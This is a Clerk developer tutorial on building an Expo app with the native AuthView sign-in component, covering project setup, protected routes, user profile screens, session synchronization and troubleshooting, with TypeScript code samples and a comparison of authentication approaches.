Date: 2026-04-14
Description: Clerk's AuthView component renders native sign-in and sign-up UIs in Expo apps using SwiftUI and Jetpack Compose. Build a complete app with protected routes and user profiles.

Mobile [authentication](/docs/guides/how-clerk-works/overview) is one of the most complex parts of app development. Traditional approaches force developers to either build custom sign-in flows from scratch — often requiring hundreds of lines of code — or rely on WebView-based components that break the native user experience. Clerk's AuthView component changes this by rendering a fully native authentication UI with roughly five lines of code.

In this tutorial, you will build a complete Expo app with native sign-in and sign-up powered by AuthView. The finished app includes a public home screen, a native authentication screen, and a user profile page with Clerk's `UserButton` and `UserProfileView` components. AuthView is currently in beta — the core API is stable, but check the [Clerk changelog](/changelog) for the latest status.

By the end of this guide, you will understand how AuthView works under the hood, how it synchronizes native sessions with the JavaScript SDK, and why native authentication outperforms WebView-based approaches in both security and user experience.

## What is AuthView?

AuthView is Clerk's native authentication component for Expo. Import it from `@clerk/expo/native` and it renders a complete sign-in and sign-up interface using SwiftUI on iOS and Jetpack Compose on Android. This is not a WebView wrapping a web page — it is a genuinely native UI built with each platform's own design framework.

AuthView automatically handles the full authentication lifecycle based on your Clerk Dashboard configuration. This includes email and password sign-in, email verification codes, [OAuth](/docs/guides/configure/auth-strategies/social-connections/overview) providers like Google and Apple, [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys), [multi-factor authentication (MFA)](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#multi-factor-authentication), and password recovery. When you enable a new authentication method in the Dashboard, AuthView picks it up automatically — no code changes or app updates needed.

AuthView was released in March 2026 with `@clerk/expo` 3.1 ([changelog](/changelog/2026-03-09-expo-native-components)). It has intentionally minimal props:

- `mode` — accepts `"signIn"`, `"signUp"`, or `"signInOrUp"` (default). Determines which authentication flows are shown.
- `isDismissable` — a boolean (default `false`) that adds a dismiss button to the navigation bar.

This simplicity is by design. Authentication configuration belongs in the Clerk Dashboard, not scattered through your codebase. AuthView requires roughly five lines of code where a custom flow approach needs 25 or more lines per OAuth provider, plus manual state management, error handling, and token exchange logic.

## Why native authentication matters for mobile apps

Native authentication UIs provide meaningful advantages over WebView-based approaches in security, user experience, and conversion rates.

### Security

[RFC 8252](https://datatracker.ietf.org/doc/html/rfc8252) — the IETF standard for OAuth 2.0 in native apps — explicitly states that native apps "MUST NOT use embedded user-agents" (Section 8.12) for authentication. Embedded WebViews expose credentials to the host app, enable phishing by hiding or spoofing the URL bar, and prevent users from verifying the identity of the authentication server.

Google enforces this standard: OAuth sign-in via embedded WebViews [is prohibited](https://developers.google.com/identity/protocols/oauth2/policies#webview), as [announced in 2016](https://developers.googleblog.com/en/modernizing-oauth-interactions-in-native-apps-for-better-usability-and-security/), requiring developers to use Chrome Custom Tabs (Android) or ASWebAuthenticationSession (iOS) instead. An Android WebView [AutoSpill vulnerability](https://www.darkreading.com/cyberattacks-data-breaches/android-vulnerability-leaks-credentials-from-password-managers-) demonstrated the risk by leaking credentials from the top 10 password managers through WebView autofill behavior.

AuthView avoids these risks entirely. It uses native platform APIs — ASAuthorization on iOS and Credential Manager on Android — for OAuth flows, matching the security model that platform vendors require. Firebase Auth and Supabase Auth both require developers to build their own login screens in React Native and handle OAuth through browser-based redirects. Neither offers pre-built native UI components for Expo.

### User experience and conversion

Authentication friction directly impacts conversion. Each additional authentication step reduces conversion by [10–15%](https://mojoauth.com/data-and-research-reports/passwordless-conversion-impact-report-2026/), and [46% of US consumers](https://www.corbado.com/blog/login-friction-kills-conversion) report failing to complete transactions due to authentication problems.

Native authentication UIs eliminate the context switch to a browser, render instantly without WebView startup time, and provide platform-consistent design that users trust. They also integrate with biometric authentication natively — [81% of smartphones](https://www.iproov.com/blog/biometric-statistics-70) had biometrics enabled as of 2022 (per Cisco Duo's Trusted Access Report), and Amazon reported [6x faster sign-in](https://www.aboutamazon.com/news/retail/amazon-passwordless-sign-in-passkey) after deploying passkeys to 175 million users.

## What you'll build

The finished app uses Expo Router's file-based routing with two route groups: one for authentication screens and one for protected content.

```text
src/app/
├── _layout.tsx          ← ClerkProvider setup
├── (auth)/
│   ├── _layout.tsx      ← Redirects signed-in users to home
│   └── sign-in.tsx      ← AuthView component
└── (home)/
    ├── _layout.tsx      ← Redirects signed-out users to sign-in
    ├── index.tsx         ← Home screen with conditional content
    └── profile.tsx       ← UserButton + UserProfileView
```

Each screen serves a distinct purpose:

- **`_layout.tsx` (root)** — wraps the entire app with `ClerkProvider` for authentication state management
- **`(auth)/sign-in.tsx`** — renders AuthView for native sign-in and sign-up
- **`(home)/index.tsx`** — shows different content based on authentication state using the `Show` component
- **`(home)/profile.tsx`** — displays the user's profile with `UserButton` (avatar with native modal) and `UserProfileView` (inline profile management)

## Prerequisites

### Tools and accounts needed

Before starting, confirm you have the following:

- **Node.js** — LTS version (20.x or later). Download from [nodejs.org](https://nodejs.org).
- **A Clerk account** — create one at [clerk.com](https://clerk.com) and set up an application in the [Clerk Dashboard](https://dashboard.clerk.com).
- **Xcode** (for iOS) or **Android Studio** (for Android) — at least one is required to run a development build.
- **Basic familiarity with React and TypeScript** — you do not need to be an expert. This tutorial explains each code snippet line by line.

### Why a development build is required

AuthView uses native modules — SwiftUI on iOS and Jetpack Compose on Android — that are compiled into the app binary. These modules are **not** available in Expo Go, which only includes a fixed set of pre-bundled libraries.

A [development build](https://docs.expo.dev/develop/development-builds/introduction/) is a debug version of your app that includes `expo-dev-client` and any custom native modules your project needs. Create one by running `npx expo run:ios` or `npx expo run:android` instead of `npx expo start`.

> \[!IMPORTANT]
> Expo Go cannot run AuthView or any other Clerk native component. You must use a development build for this entire tutorial. If you see "Native module not available" errors, you are likely running in Expo Go.

The development build is a one-time setup cost. Once built, JavaScript changes still hot-reload instantly — you only need to rebuild when adding or removing native dependencies.

**Checkpoint:** You should now have Node.js installed, a Clerk account created, and either Xcode or Android Studio set up.

## Setting up the Clerk application

### Create a Clerk application

1. Sign in to the [Clerk Dashboard](https://dashboard.clerk.com)
2. Select **Create application** (or use an existing one)
3. Choose the authentication methods you want to support — email, password, Google, Apple, or any combination
4. Copy your **Publishable Key** from the **API Keys** section — you will need this in a later step

### Enable the Native API

AuthView communicates with Clerk's backend through native SDK endpoints that must be explicitly enabled.

1. In the Clerk Dashboard, navigate to the **Native applications** page
2. Toggle **Native API** to enabled

This setting exposes the endpoints that AuthView needs for native sign-in, sign-up, and session management. Without it, native components will fail to authenticate.

### Configure social connections (optional)

If you want Google Sign-In or Apple Sign-In, configure them in the Clerk Dashboard under **User & Authentication > Social connections**. AuthView handles these flows automatically once they are enabled — you do not need to install additional packages or write custom hooks.

- **Google Sign-In** uses ASAuthorization on iOS and Credential Manager on Android (platform-native, not browser-based)
- **Apple Sign-In** uses the native Apple authentication framework

For detailed setup instructions, see the Clerk guides for [Sign in with Google](/docs/expo/guides/configure/auth-strategies/sign-in-with-google) and [Sign in with Apple](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple).

> \[!TIP]
> This tutorial works without any social connections configured. Email and password authentication is sufficient to follow along. You can add social providers later without changing any code.

**Checkpoint:** You should now have a Clerk application with authentication methods configured, Native API enabled, and your Publishable Key copied.

## Creating the Expo project

### Initialize a new Expo app

Create a new project using `create-expo-app` with the SDK 55 template:

```bash
npx create-expo-app@latest clerk-expo-authview --template default@sdk-55
```

The `--template default@sdk-55` flag pins the project to Expo SDK 55. Without it, `@latest` may pull a different SDK version during transition periods, causing the template structure to differ from this tutorial.

Navigate into the project directory:

```bash
cd clerk-expo-authview
```

> \[!NOTE]
> As of SDK 55, the default template uses a `src/app/` directory structure. All file paths in this tutorial are under `src/app/`. If you are using SDK 54 or earlier, routes are under `app/` instead — adjust paths accordingly. The older template also includes `app/(tabs)/`, `app/modal.tsx`, and `app/+not-found.tsx` instead of the files listed below.

### Remove default template files

The default template includes files that conflict with the routes in this tutorial. Remove the explore page:

```bash
rm src/app/explore.tsx
```

Uninstall `react-native-reanimated` and `react-native-worklets` to avoid Android build issues:

```bash
npx expo uninstall react-native-reanimated react-native-worklets
```

Open `src/app/_layout.tsx` and remove the `react-native-reanimated` import line if present. You will replace the full contents of this file in the ClerkProvider setup step.

### Install dependencies

Install the required packages:

```bash
npx expo install @clerk/expo expo-secure-store expo-dev-client
```

Each package serves a specific purpose:

- **`@clerk/expo`** — Clerk's Expo SDK with native component support. Includes AuthView, UserButton, UserProfileView, and all authentication hooks.
- **`expo-secure-store`** — encrypted token storage using iOS Keychain and Android Keystore. Clerk uses this to persist session tokens securely across app restarts.
- **`expo-dev-client`** — enables development builds with custom native modules. Required because AuthView uses SwiftUI and Jetpack Compose code that Expo Go cannot run.

> \[!NOTE]
> Some Clerk tutorials also install `expo-auth-session` and `expo-web-browser`. These are optional peer dependencies only needed for browser-based OAuth flows using the `useSSO` or `useOAuth` hooks. AuthView handles OAuth entirely through native platform APIs, so these packages are **not** required for this tutorial.

### Set environment variables

Create a `.env` file in the project root:

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here
```

Replace `pk_test_your-key-here` with the Publishable Key from your Clerk Dashboard.

The `EXPO_PUBLIC_` prefix makes the variable accessible to client-side code. Metro (Expo's bundler) inlines [environment variables](/docs/guides/development/clerk-environment-variables) with this prefix at build time.

> \[!IMPORTANT]
> If Metro bundler was running before you installed the native modules, stop it now. After installing native dependencies, restart with `npx expo start -c` (the `-c` flag clears the bundler cache) or run `npx expo run:ios` / `npx expo run:android` for a fresh development build. This prevents "native module not available" errors from stale cache.

### Configure app.json plugins

Open `app.json` and add the required plugins to the `expo.plugins` array:

```json
{
  "expo": {
    "plugins": ["expo-router", "expo-secure-store", "@clerk/expo"]
  }
}
```

The `@clerk/expo` plugin integrates the native Clerk SDKs (`clerk-ios` and `clerk-android`) during the build process. It defaults to enabling the Apple Sign-In entitlement (`appleSignIn: true`). If you do not need Apple Sign-In, disable it explicitly:

```json
["@clerk/expo", { "appleSignIn": false }]
```

Run your first development build to verify everything compiles:

```bash
npx expo run:ios
```

Or for Android:

```bash
npx expo run:android
```

**Checkpoint:** You should now have a configured Expo project with all dependencies installed and a successful development build.

## Setting up ClerkProvider

Replace the contents of `src/app/_layout.tsx` with the following:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

if (!publishableKey) {
  throw new Error('Add EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY to your .env file')
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

Here is what each part does:

- **`publishableKey`** — reads the `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY` value from the `.env` file you created earlier. The `process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY` reference works because Metro inlines `EXPO_PUBLIC_`-prefixed variables at build time. This is required in Core 3 — the `@clerk/expo` SDK does not auto-detect environment variables.
- **`tokenCache`** — imported from `@clerk/expo/token-cache`, this uses `expo-secure-store` under the hood. On iOS, tokens are stored in the Keychain (encrypted by Secure Enclave). On Android, tokens are stored in SharedPreferences encrypted with the Android Keystore. Sessions persist across app restarts.
- **`Slot`** — an Expo Router component that renders the current route's content. This is the standard pattern for layout files.

Session tokens have a 60-second lifetime and are [proactively refreshed](/docs/guides/how-clerk-works/overview) every 50 seconds, so the user's authentication state stays current without any manual token management.

**Checkpoint:** ClerkProvider wraps the entire app. The app should still compile and run without errors.

## Building the authentication screen with AuthView

### Create the auth route group

Expo Router uses route groups — directories wrapped in parentheses like `(auth)` — to organize routes without affecting the URL structure. Create the auth layout at `src/app/(auth)/_layout.tsx`:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Slot } from 'expo-router'

export default function AuthLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) {
    return null
  }

  if (isSignedIn) {
    return <Redirect href="/(home)" />
  }

  return <Slot />
}
```

This layout checks the user's authentication state before rendering any auth screens:

- **`isLoaded`** — prevents premature redirects while Clerk's auth state initializes. Without this check, the layout might redirect before knowing whether the user is signed in.
- **`isSignedIn`** — if the user is already authenticated, the `<Redirect>` component navigates them to the home screen. This prevents signed-in users from seeing the sign-in screen.
- **`<Slot />`** — renders child routes (in this case, `sign-in.tsx`) when the user is not signed in.

> \[!NOTE]
> This tutorial uses the `<Redirect>` component from `expo-router` rather than imperative `router.replace()` inside render. `<Redirect>` integrates correctly with the navigation stack and avoids flash or back-stack issues. Clerk's minimal quickstart uses a simpler single-screen approach without route groups, but route groups scale better for production apps with multiple screens.

### Add the sign-in screen with AuthView

Create `src/app/(auth)/sign-in.tsx` — this is the core of the tutorial:

```tsx
import { useAuth } from '@clerk/expo'
import { AuthView } from '@clerk/expo/native'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'
import { View, StyleSheet } from 'react-native'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return (
    <View style={styles.container}>
      <AuthView />
    </View>
  )
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
  },
})
```

Here is a line-by-line breakdown:

- **`AuthView`** is imported from `@clerk/expo/native` — this is the native component entry point, separate from web components at `@clerk/expo/web`.
- **`useAuth({ treatPendingAsSignedOut: false })`** — this flag is critical. When a user authenticates through AuthView, the native SDK creates a session before the JavaScript SDK knows about it. There is a brief "pending" period during synchronization. With the default `treatPendingAsSignedOut: true`, `isSignedIn` flashes `false` during this sync, causing redirect loops. Setting it to `false` treats the pending state as signed-in, allowing the sync to complete.
- **`useEffect`** watches `isSignedIn` and redirects to the home screen when authentication completes.
- **`<AuthView />`** fills its parent container. The `flex: 1` style ensures it takes up the full screen.

The session synchronization flow works as follows:

1. The user interacts with the native AuthView UI
2. The native SDK (`clerk-ios` or `clerk-android`) creates a session
3. `@clerk/expo` syncs the native session to the JavaScript SDK
4. React hooks (`useAuth`, `useUser`) update automatically
5. The `useEffect` detects `isSignedIn === true` and triggers navigation

### Understanding AuthView props

AuthView has only two props — authentication methods are configured in the [Clerk Dashboard](https://dashboard.clerk.com), not in code.

The `mode` prop controls which flows are displayed:

```tsx
<AuthView />
```

This is equivalent to setting `mode="signInOrUp"`.

To restrict to sign-in only:

```tsx
<AuthView mode="signIn" />
```

To restrict to sign-up only:

```tsx
<AuthView mode="signUp" />
```

The `isDismissable` prop adds a close button to the navigation bar, allowing users to dismiss the authentication screen:

```tsx
<AuthView isDismissable={true} />
```

This is useful when authentication is optional rather than required.

**Checkpoint:** Run the app and you should see the native sign-in/sign-up interface. Create a test account to verify the redirect to the home screen works.

## Building the home screen

### Create the home route group

Create `src/app/(home)/_layout.tsx` to protect authenticated routes:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Slot } from 'expo-router'
import { View, Text, StyleSheet } from 'react-native'

export default function HomeLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) {
    return (
      <View style={styles.loading}>
        <Text>Loading...</Text>
      </View>
    )
  }

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return <Slot />
}

const styles = StyleSheet.create({
  loading: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
  },
})
```

This mirrors the auth layout. While the auth layout redirects *signed-in* users away from authentication screens, the home layout redirects *signed-out* users to the sign-in screen. The `isLoaded` check shows a loading indicator while Clerk determines the authentication state.

### Build the home screen

Create `src/app/(home)/index.tsx`:

```tsx
import { Show, useUser } from '@clerk/expo'
import { Link } from 'expo-router'
import { View, Text, StyleSheet } from 'react-native'

export default function HomeScreen() {
  const { user } = useUser()

  return (
    <View style={styles.container}>
      <Show when="signed-in">
        <Text style={styles.title}>
          Welcome, {user?.firstName || user?.emailAddresses[0]?.emailAddress}!
        </Text>
        <Text style={styles.subtitle}>You are signed in.</Text>
        <Link href="/(home)/profile" style={styles.link}>
          <Text style={styles.linkText}>View Profile</Text>
        </Link>
      </Show>

      <Show when="signed-out">
        <Text style={styles.title}>Welcome to Clerk + Expo</Text>
        <Text style={styles.subtitle}>Sign in to get started.</Text>
        <Link href="/(auth)/sign-in" style={styles.link}>
          <Text style={styles.linkText}>Sign In</Text>
        </Link>
      </Show>
    </View>
  )
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    padding: 20,
  },
  title: {
    fontSize: 24,
    fontWeight: 'bold',
    marginBottom: 8,
  },
  subtitle: {
    fontSize: 16,
    color: '#666',
    marginBottom: 20,
  },
  link: {
    padding: 12,
  },
  linkText: {
    fontSize: 16,
    color: '#6C47FF',
    fontWeight: '600',
  },
})
```

The `Show` component is Clerk's Core 3 replacement for the older `SignedIn` and `SignedOut` components. It conditionally renders content based on authentication state:

- **`<Show when="signed-in">`** — content is visible only when the user is authenticated
- **`<Show when="signed-out">`** — content is visible only when the user is not authenticated

The `Show` component only controls *visibility* — it is not a security boundary. Sensitive data must always be verified server-side. It supports a `fallback` prop for loading states and is preferred over manual `isSignedIn` conditional rendering for cleaner JSX.

The `useUser()` hook provides access to the current user's data, including `firstName`, `lastName`, `emailAddresses`, and `imageUrl`.

**Checkpoint:** The home screen should show different content based on authentication state. Signed-in users see a welcome message; signed-out users see a sign-in prompt.

## Adding the user profile page

Create `src/app/(home)/profile.tsx`. This screen demonstrates two more native components: `UserButton` and `UserProfileView`.

```tsx
import { useAuth, useUser } from '@clerk/expo'
import { UserButton, UserProfileView } from '@clerk/expo/native'
import { useRouter } from 'expo-router'
import { View, Text, Pressable, StyleSheet, ScrollView } from 'react-native'

export default function ProfileScreen() {
  const { user } = useUser()
  const { signOut } = useAuth()
  const router = useRouter()

  const handleSignOut = async () => {
    await signOut()
    router.replace('/(auth)/sign-in')
  }

  return (
    <ScrollView contentContainerStyle={styles.container}>
      <View style={styles.header}>
        <View style={styles.avatarContainer}>
          <UserButton />
        </View>
        <Text style={styles.name}>{user?.fullName}</Text>
        <Text style={styles.email}>{user?.emailAddresses[0]?.emailAddress}</Text>
      </View>

      <View style={styles.profileSection}>
        <Text style={styles.sectionTitle}>Profile Settings</Text>
        <UserProfileView />
      </View>

      <Pressable onPress={handleSignOut} style={styles.signOutButton}>
        <Text style={styles.signOutText}>Sign Out</Text>
      </Pressable>
    </ScrollView>
  )
}

const styles = StyleSheet.create({
  container: {
    flexGrow: 1,
    padding: 20,
  },
  header: {
    alignItems: 'center',
    marginBottom: 24,
    marginTop: 40,
  },
  avatarContainer: {
    width: 60,
    height: 60,
    marginBottom: 12,
  },
  name: {
    fontSize: 22,
    fontWeight: 'bold',
  },
  email: {
    fontSize: 14,
    color: '#666',
    marginTop: 4,
  },
  profileSection: {
    flex: 1,
    marginBottom: 24,
  },
  sectionTitle: {
    fontSize: 18,
    fontWeight: '600',
    marginBottom: 12,
  },
  signOutButton: {
    backgroundColor: '#FF3B30',
    padding: 16,
    borderRadius: 8,
    alignItems: 'center',
    marginBottom: 40,
  },
  signOutText: {
    color: '#fff',
    fontSize: 16,
    fontWeight: '600',
  },
})
```

### The UserButton component

`UserButton` renders a circular avatar showing the user's profile image or initials. Tapping it opens a native profile management modal that includes account settings and sign-out functionality. The modal sign-out automatically syncs with the JavaScript SDK.

`UserButton` takes no props — it fills its parent container, so you control the size by styling the wrapping `View`. In this example, the `avatarContainer` style sets a 60×60 pixel area.

### The UserProfileView component

`UserProfileView` renders profile management UI directly in your screen. Clerk provides three approaches for displaying user profile management:

1. **Native modal via UserButton** — tapping `UserButton` opens a platform-native modal. This is the simplest approach and is what this tutorial uses for the avatar.
2. **Native modal via hook** — the `useUserProfileModal()` hook from `@clerk/expo` lets you programmatically present the profile modal from any component.
3. **Inline rendering** — embed `UserProfileView` directly in a screen, as shown in the profile page above.

This tutorial uses both: `UserButton` provides the native modal when tapped, and `UserProfileView` renders inline for a dedicated profile settings section.

> \[!WARNING]
> Do not combine `useUserProfileModal()` with a React Native `Modal` component. The native modal uses its own dismissal mechanism, and wrapping it in a React Native modal creates conflicting gesture handlers.

### Display user information and sign-out

The `useUser()` hook provides the current user's profile data:

- `user.fullName` — the user's full name
- `user.firstName` — the user's first name
- `user.emailAddresses[0].emailAddress` — the user's primary email
- `user.imageUrl` — the user's profile image URL

For sign-out, `UserButton` and `UserProfileView` both include built-in sign-out functionality that syncs with the JavaScript SDK automatically. The custom sign-out button in this example uses `useAuth().signOut()` for demonstration — it calls `signOut()` and then navigates back to the auth screen.

**Checkpoint:** The profile page should display a UserButton avatar, inline profile settings via UserProfileView, and user information. Tapping UserButton opens the native profile modal. The sign-out flow works correctly.

## Handling authentication state and navigation

### Session synchronization explained

When using native components, authentication happens in the native layer (SwiftUI/Jetpack Compose) before the JavaScript SDK is aware of it. Understanding this synchronization is important for avoiding common issues.

The synchronization flow:

1. The user authenticates through the native AuthView UI
2. The native SDK (`clerk-ios` or `clerk-android`) creates a session with Clerk's backend
3. `@clerk/expo` detects the native session and syncs it to the JavaScript SDK
4. React hooks (`useAuth`, `useUser`, `useSession`) update with the new state

Session tokens have a 60-second lifetime and are refreshed proactively at the 50-second mark. This means the JavaScript SDK always has a current token available for API calls. The `tokenCache` using `expo-secure-store` persists the session across app restarts — users do not need to re-authenticate unless the session is explicitly ended.

The `treatPendingAsSignedOut: false` option is critical when using native components. During the brief synchronization window between native authentication and JavaScript SDK state, auth status is "pending." Without this flag, `isSignedIn` defaults to `false` during the pending state, which triggers redirect logic prematurely. This flag is only needed in components where native authentication is actively happening — in route guard layouts like the home layout, the default behavior is correct.

### Protected route patterns

This tutorial uses a consistent pattern for protecting routes:

- **Auth layout** (`(auth)/_layout.tsx`) — redirects signed-in users away from auth screens using `<Redirect>`
- **Home layout** (`(home)/_layout.tsx`) — redirects signed-out users to the sign-in screen using `<Redirect>`
- Both layouts check `isLoaded` before making redirect decisions to avoid premature navigation
- The root layout contains only `ClerkProvider` and `<Slot />` — no auth logic

> \[!NOTE]
> Expo Router v5 (SDK 53+) introduced [`Stack.Protected`](https://docs.expo.dev/router/advanced/protected/) as a declarative alternative to `<Redirect>`. However, `Stack.Protected` requires a synchronous `guard` boolean, while native auth state goes through an asynchronous "pending" phase during native-to-JS session synchronization. Clerk's official native component examples use the `<Redirect>` pattern shown in this tutorial rather than `Stack.Protected`.

### Sign-out flow

There are two ways to handle sign-out:

1. **Built-in** — `UserButton` and `UserProfileView` include sign-out functionality that automatically syncs with the JavaScript SDK. No additional code is needed.
2. **Programmatic** — call `signOut()` from the `useAuth()` hook for a custom sign-out button:

```tsx
const { signOut } = useAuth()

const handleSignOut = async () => {
  await signOut()
}
```

After sign-out, the home layout's auth check detects that `isSignedIn` is `false` and automatically redirects to the sign-in screen. Including explicit navigation like `router.replace('/(auth)/sign-in')` provides an immediate visual transition but is not strictly required.

## Customization and configuration

### Configuring authentication methods

AuthView supports every authentication method that Clerk offers. Configure them in the [Clerk Dashboard](https://dashboard.clerk.com) — no code changes needed:

- Email and password
- Email verification codes
- Social providers (Google, Apple, GitHub, and more)
- Passkeys (requires additional setup — see the [Clerk passkeys guide](/docs/reference/expo/passkeys))
- Multi-factor authentication

When you enable or disable a method in the Dashboard, AuthView reflects the change immediately in your app. This means you can add new authentication methods to a production app without shipping an app update.

### Handling OAuth providers with AuthView

Unlike the custom flow approach, AuthView handles Google and Apple Sign-In automatically. This is a significant developer experience advantage.

With custom flows, Google Sign-In on Android requires `expo-crypto` for nonce generation and the `useSignInWithGoogle` hook with manual session activation. Apple Sign-In requires `expo-apple-authentication`, `expo-crypto`, and the `useSignInWithApple` hook. Each provider adds roughly 25 or more lines of code.

AuthView eliminates all of this. Google Sign-In uses ASAuthorization on iOS and Credential Manager on Android — fully native, not browser-based. Apple Sign-In uses the native Apple authentication framework. All OAuth state management, token exchange, and error handling happens internally.

### Theming and appearance

AuthView renders using native platform styling:

- On iOS, it uses SwiftUI and follows iOS design conventions
- On Android, it uses Jetpack Compose and follows Material Design patterns
- Both platforms support system light and dark mode automatically

Native-level theming through `ClerkTheme` is available at the Swift and Kotlin layer for advanced customization ([iOS theming](/docs/ios/guides/customizing-clerk/clerk-theme), [Android theming](/docs/android/guides/customizing-clerk/clerk-theme)), but this is not currently exposed through React Native JavaScript props. For web components (`@clerk/expo/web`), the `appearance` prop and themes from `@clerk/ui` are available — these do not apply to native AuthView.

## Common issues and troubleshooting

### "Native module not available" errors

**Cause:** running the app in Expo Go instead of a development build.

**Fix:** use `npx expo run:ios` or `npx expo run:android` to create a development build. AuthView requires native modules (SwiftUI/Jetpack Compose) that Expo Go cannot provide.

### OAuth configuration errors

Common causes of OAuth failures:

- **Missing credentials** — Google or Apple Sign-In is not configured in the Clerk Dashboard
- **Incorrect Bundle ID or Team ID** — for Apple Sign-In, the Bundle ID and Team ID in the Clerk Dashboard must match your app's configuration
- **Missing SHA-1 fingerprint** — for Google Sign-In on Android, the SHA-1 certificate fingerprint must be registered
- **Missing iOS URL scheme** — the `@clerk/expo` config plugin usually handles this automatically, but verify your `app.json` includes the plugin

### Session not syncing after sign-in

**Cause:** missing `treatPendingAsSignedOut: false` on the `useAuth()` call in your auth screen.

**Symptoms:** redirect loops after successful native authentication, or the user appears signed out immediately after signing in.

**Fix:** pass `{ treatPendingAsSignedOut: false }` to `useAuth()` in any component that uses AuthView:

```tsx
const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
```

This flag only needs to be set in components where native authentication is actively happening. In route guard layouts (like the home layout), the default `treatPendingAsSignedOut: true` is correct.

### Runtime error handling

AuthView handles all runtime errors automatically — this is a key advantage over building custom flows.

- **Field-level validation errors** (wrong password, invalid email, identifier not found) appear as inline error messages below the relevant input field
- **General errors** (network failures, server errors) display in a native modal sheet with a warning icon and description
- **Rate limiting** for verification codes is enforced with a visible 30-second cooldown timer
- **Haptic feedback** (iOS) triggers on field errors for tactile feedback

No error callbacks or error props are exposed to React Native. AuthView is intentionally opaque for error handling. If you need custom error handling (for logging or analytics), use custom sign-in flows with the `useSignIn` and `useSignUp` hooks instead.

### Development build caching issues

If you encounter unexpected behavior after installing or removing packages, clear the Metro bundler cache:

```bash
npx expo start --clear
```

For a complete rebuild, delete the native directories and rebuild:

```bash
rm -rf ios android && npx expo run:ios
```

## Comparing authentication approaches in Expo

Clerk offers three approaches for authentication in Expo apps. Each has different tradeoffs.

| Feature         |     AuthView (Native)     |       Custom Flows      |      Web Components     |
| --------------- | :-----------------------: | :---------------------: | :---------------------: |
| UI rendering    | SwiftUI / Jetpack Compose |       React Native      |         WebView         |
| Code required   |         \~5 lines         |  25+ lines per provider |        \~5 lines        |
| Expo Go support |                           |                         |         Web only        |
| OAuth handling  |  Automatic (native APIs)  | Manual hooks + packages |   Automatic (browser)   |
| Platform feel   |        Fully native       |      Custom styled      |         Web-like        |
| MFA support     |                           |          Manual         |                         |
| Passkey support |                           |      Extra package      |                         |
| Customization   |      Dashboard config     |       Full control      | Theme + appearance prop |
| Error handling  |         Automatic         |          Manual         |        Automatic        |
| Status          |            Beta           |          Stable         |          Stable         |

### Manual approach vs. streamlined approach

The following comparison shows the difference between a browser-based OAuth flow and the AuthView approach for the same result.

**Manual approach — browser-based OAuth with custom hooks:**

```tsx
import * as AuthSession from 'expo-auth-session'
import * as WebBrowser from 'expo-web-browser'
import { useSSO } from '@clerk/expo'
import { View, Pressable, Text } from 'react-native'

WebBrowser.maybeCompleteAuthSession()

export default function SignInScreen() {
  const { startSSOFlow } = useSSO()

  const handleGoogleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startSSOFlow({
        strategy: 'oauth_google',
        redirectUrl: AuthSession.makeRedirectUri(),
      })
      if (createdSessionId) {
        await setActive!({ session: createdSessionId })
      }
    } catch (err) {
      console.error('OAuth error:', err)
    }
  }

  // Repeat for Apple, GitHub, and every other provider...
  return (
    <View>
      <Pressable onPress={handleGoogleSignIn}>
        <Text>Sign in with Google</Text>
      </Pressable>
    </View>
  )
}
```

This approach is functionally correct — `expo-web-browser` uses system browsers (ASWebAuthenticationSession on iOS, Chrome Custom Tabs on Android) per [RFC 8252](https://datatracker.ietf.org/doc/html/rfc8252) recommendations. However, it requires extra packages (`expo-auth-session`, `expo-web-browser`), manual error handling, and duplicated code for every OAuth provider.

**Streamlined approach — AuthView handles everything:**

```tsx
import { useAuth } from '@clerk/expo'
import { AuthView } from '@clerk/expo/native'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'
import { View } from 'react-native'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return (
    <View style={{ flex: 1 }}>
      <AuthView />
    </View>
  )
}
```

The same result — sign-in, sign-up, Google, Apple, MFA, passkeys, error handling — with no extra packages and no manual provider logic.

### When to use each approach

- **AuthView** — recommended for most apps. Minimal code, native UX, automatic support for all authentication methods. Use this unless you have a specific reason not to.
- **Custom flows** — when you need completely custom UI design, must support Expo Go, or need full control over every authentication step.
- **Web components** — for the Expo web platform or when web-based UI is acceptable for your mobile use case.

## Why Clerk for Expo authentication

### Developer experience advantages

AuthView eliminates hundreds of lines of custom authentication code. A single component handles sign-in, sign-up, OAuth, MFA, passkey, and password recovery flows. New authentication methods are added through Dashboard configuration — no code changes or app updates required.

The native SDK synchronization is handled transparently. Developers do not need to manage token exchange, session creation, or state synchronization between native and JavaScript layers. Secure token storage through `expo-secure-store` uses hardware-backed encryption (iOS Keychain and Android Keystore) without any configuration beyond including `tokenCache` in the `ClerkProvider`.

